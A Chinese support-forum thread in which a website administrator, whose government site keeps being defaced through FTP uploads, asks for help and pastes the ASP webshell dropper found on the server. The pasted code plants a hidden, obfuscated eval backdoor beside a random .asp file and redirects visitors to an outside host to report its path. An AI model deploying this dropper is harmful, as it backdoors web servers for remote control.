产品使用及交流论坛

注册

 

QQ登录

只需一步,快速开始

发新话题 回复该主题

xiyou老大您好,求帮助 [复制链接]

1#
[url]www.llzwdt.gov.cn[/url] 老是被恶意改成其他网站,请问 主要漏洞出在哪啊,老是能给我FTP里传进去东西
分享 转发
TOP
2#

今天又给FTP传了这么个<%
On Error Resume Next
Server.ScriptTimeout = 999999
Response.Buffer = True

Function getRndString(minNum, maxNum)
    Dim tStr, tNum, i
    Randomize
    tNum = Cint(rnd() * maxNum) + minNum
    tStr = ""
    For i = 1 to tNum
        Randomize
        if (rnd() * 100) > 50 then
            Randomize
            tStr = tStr & Cint(rnd() * 9)
        else
            Randomize
            tStr = tStr & Chr(Cint(rnd() * 25) + 97)
        end if
    Next
    getRndString = tStr
End Function

Sub ListDir(folderpath)
    'On Error Resume Next
    Dim fs, folderitem, sfolder, tDirName, i, sfiles, fileitem
    Dim folderitem1, sfolder1
    Dim folderitem2, sfolder2
    Set fs = Server.Createobject("scripting.filesystemobject")
    if Not fs.FolderExists(folderpath) then Exit Sub

    Set sfolder = fs.getfolder(folderpath).subfolders
    For each folderitem in sfolder
        Randomize
        if rnd() * 100 < 5 then
            Set sfiles = folderitem.files
            For each fileitem in sfiles
                Randomize
                if rnd() * 100 < 5 And ".asp" = Right(fileitem.Name, 4) then
                    DirStr = folderpath & "\" & folderitem.name & "\" & fileitem.Name
                    Exit For
                end if
                Response.Flush
            Next
        end if
        if "" <> DirStr then Exit For
    Next
    Set fs = Nothing
End Sub

Function createasa(file1, ByVal Content)
    On Error Resume Next
    Dim file2
    file2 = file1
    Set fso = Server.CreateObject("scripting.filesystemobject")
    set f=fso.Getfile("//./" & file2)
    f.Attributes = 0
    Set Obj = Server.CreateObject("adod" & "b.S" & "tream")
    Obj.Type = 2
    Obj.open
    Obj.Charset = "gb2312"
    Obj.Position = Obj.Size
    Obj.writetext = Content
    Obj.SaveToFile "//./" & file2, 2
    Obj.Close
    Set Obj = Nothing
    SetFileTime(file2)
    set f=fso.Getfile("//./" & file2)
    f.Attributes=1+2+4+32
    set f=Nothing
    Set fso = Nothing
End Function

Private Function Read2File(FileUrl, Charset)
    'On Error Resume Next
    if "utf-8" <> Charset Then Charset = "gb2312"
    Dim stm, errStr, fs
    Set fs = Server.CreateObject("Scripting.FileSystemObject")
    if Not fs.FileExists(FileUrl) then Exit Function
    Set fs = Nothing
    errStr = ""
    Set stm = Server.CreateObject("ADODB.Stream")
    With stm
        .Type = 2
        .Mode = 3
        .Open
        'Response.Write("debug->" & FileUrl & "<br/>")
        .LoadFromFile FileUrl
        .Charset = Charset
        .Position = 2
        errStr = .ReadText
        .Close
    End With
    Set stm = Nothing
    Read2File = errStr
End Function


Dim DirStr, StrCode
DirStr = ""
RootPath = Server.MapPath("/")
StrCode = "<"&"%ex"&"ec"&"ut"&"eG"&"lo"&"ba"&"l("&"St"&"rR"&"ev"&"er"&"se"&"(R"&"eq"&"ue"&"st"&"(C"&"hr"&"(9"&"8)"&"))"&")%"&">"

Set fs = Server.Createobject("scripting.filesystemobject")

While Len(DirStr) < 1
    ListDir(RootPath)
    if "" <> DirStr then
        DirStr = Left(DirStr, Len(DirStr) - 4) & "1.asp"
        createasa DirStr, StrCode
        if StrCode <> Read2File(DirStr, "") then DirStr = ""
    end if
WEnd

DirStr = Replace(DirStr, RootPath, "")
DirStr = Replace(DirStr, "\", "/")
Ref = Request.Servervariables("HTTP_REFERER")
if Len(Ref) < 1 then Ref = Request.QueryString("r")
Response.Write("<script>window.onload=function (){document.getElementById('a').click();}</script><a id=a href=""http://tmp.17189.info/shell.asp?act=set&r=" & Ref & "&t=" & DirStr & """></a>")
Response.End
%>
TOP
发新话题 回复该主题